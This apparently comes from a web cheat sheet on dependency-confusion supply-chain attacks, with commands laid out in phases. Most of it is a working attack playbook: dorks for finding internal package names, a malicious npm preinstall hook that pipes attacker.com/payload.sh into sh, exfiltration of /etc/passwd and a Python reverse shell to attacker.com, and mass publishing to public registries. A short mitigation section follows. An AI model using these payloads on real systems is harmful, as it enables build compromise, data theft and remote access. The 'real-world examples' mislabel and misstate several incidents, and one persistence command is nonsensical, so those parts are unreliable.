Dependency Confusion

Attackers upload malicious packages with internal-sounding names to public registries, tricking builds into pulling the malicious package.

11 Categories40+ CommandsCopy Ready
Phase 1

Introduction

1Attackers upload packages with internal-sounding names to public registries
Dependency Confusion = tricking builds into pulling malicious packages
2Core mechanism: Name confusion between private and public registries
Internal package names guessed/leaked + public upload = compromise
3All package managers with public+private registry support are vulnerable
Affects: npm, PyPI, Maven, RubyGems, NuGet, Go modules
4Complete practical guide by CoffinXP
Video Reference: https://youtu.be/LEFikziGL6s?si=i3qxpTus7I3qnp7u
Phase 2

How Dependency Confusion Works

1Step 1: Identify target's internal package naming convention
#1: Company uses internal package: @company/internal-utils
2Step 2: Upload malicious package with same name to public registry
#2: Attacker uploads @company/internal-utils to npmjs.com
3Step 3: Package manager checks public registry before private
#3: Build system checks npmjs.com FIRST (default behavior)
4Step 4: Compromise! Malicious code executes during npm install
#4: Malicious package gets installed instead of internal one
Phase 3

Finding Internal Package Names

1GitHub dorking for internal package references
site:github.com "company/internal-" OR "@company/" OR "internal-package"
2Search for dependency files with internal packages
site:github.com "package.json" OR "requirements.txt" OR "pom.xml" "internal"
3Find leaked package names in pastes and gists
site:pastebin.com OR site:gist.github.com "@company/" OR "internal.utils"
4Scan with Nuclei dependency confusion templates
nuclei -u https://target.com -t dependencies --tags dependency-confusion
Phase 4

Testing for Dependency Confusion

1Test if package exists publicly (dry-run won't actually install)
npm install @company/internal-utils --dry-run
2Python: Check if package exists on PyPI
pip install internal-utils --dry-run 2>&1 | grep "Could not find"
3Ruby: Test if gem exists publicly
gem install internal-utils --dry-run
4Maven: Check if artifact exists in public repos
mvn dependency:resolve -Dartifact=com.company:internal-utils:1.0
Phase 5

Creating Malicious Packages

1npm: Initialize package with target's scope
npm init --scope=@company --yes
2npm: Add preinstall script that executes malicious code
echo '{"scripts": {"preinstall": "curl attacker.com/payload.sh | sh"}}' > package.json
3npm: Publish malicious package to public registry
npm publish --registry https://registry.npmjs.com/
4PyPI: Create and upload malicious Python package
python3 setup.py sdist && python3 -m twine upload dist/*
Phase 6

Malicious Payloads

1Simple: Exfiltrate hostname and username via curl
curl https://attacker.com/$(hostname)/$(whoami)
2Medium: Exfiltrate /etc/passwd contents
bash -c "curl -X POST https://attacker.com/$(cat /etc/passwd)"
3Advanced: Reverse shell in Python payload
python3 -c "import socket,subprocess;s=socket.socket();s.connect(("attacker.com",4444));subprocess.call(["/bin/sh","-i"],stdin=s,stdout=s,stderr=s)"
4Persistence: Add attacker-controlled repo (Linux/RPM)
echo "malicious-package=v1.0" >> /etc/yum.repos.d/internal.repo
Phase 7

Automation Tools

1Mass upload: Iterate through list of guessed internal names
for pkg in $(cat internal-names.txt); do npm publish --registry https://registry.npmjs.com/ $pkg; done
2Scan multiple targets with Nuclei templates
nuclei -l dependency-confusion.yaml -o results.txt
3Find references to package managers in subdomains
subfinder -d target.com | httpx-toolkit -silent | grep -i "npm\|pip\|maven"
Phase 8

Real-World Examples

12018: event-stream compromised, affected millions of users
Event-Stream (npm): Malicious package with 3.6M weekly downloads
22018: Attacker uploaded eslint-scope to npm
ESLint-scope (npm): Typosquatting + Dependency Confusion hybrid
32021: browsealoud package mimicked browsertaloud
BrowseAloud (PyPI): 400k+ downloads of malicious package
42021: CodeCov bash uploader compromise affected many orgs
CodeCov (multiple): Supply chain attack via dependency confusion
Phase 9

Mitigation & Prevention

1npm: Force @company/* packages to use private registry
#1: Use .npmrc with scoped registry configuration
2npm: Configure scoped registry for internal packages
echo "@company:registry=https://registry.company.com/" >> .npmrc
3Always commit lockfiles and verify integrity hashes
#2: Enable package-lock.json / Pipfile.lock verification
4npm install --ignore-scripts (prevents preinstall/postinstall execution)
#3: Use --ignore-scripts flag during install (defense in depth)
5Set up alerts when someone uploads packages matching your naming convention
#4: Monitor public registries for your package names
6Maintain internal mirror with vetted packages only
#5: Use internal mirror of public packages (air-gapped)
Tools

Tools & Resources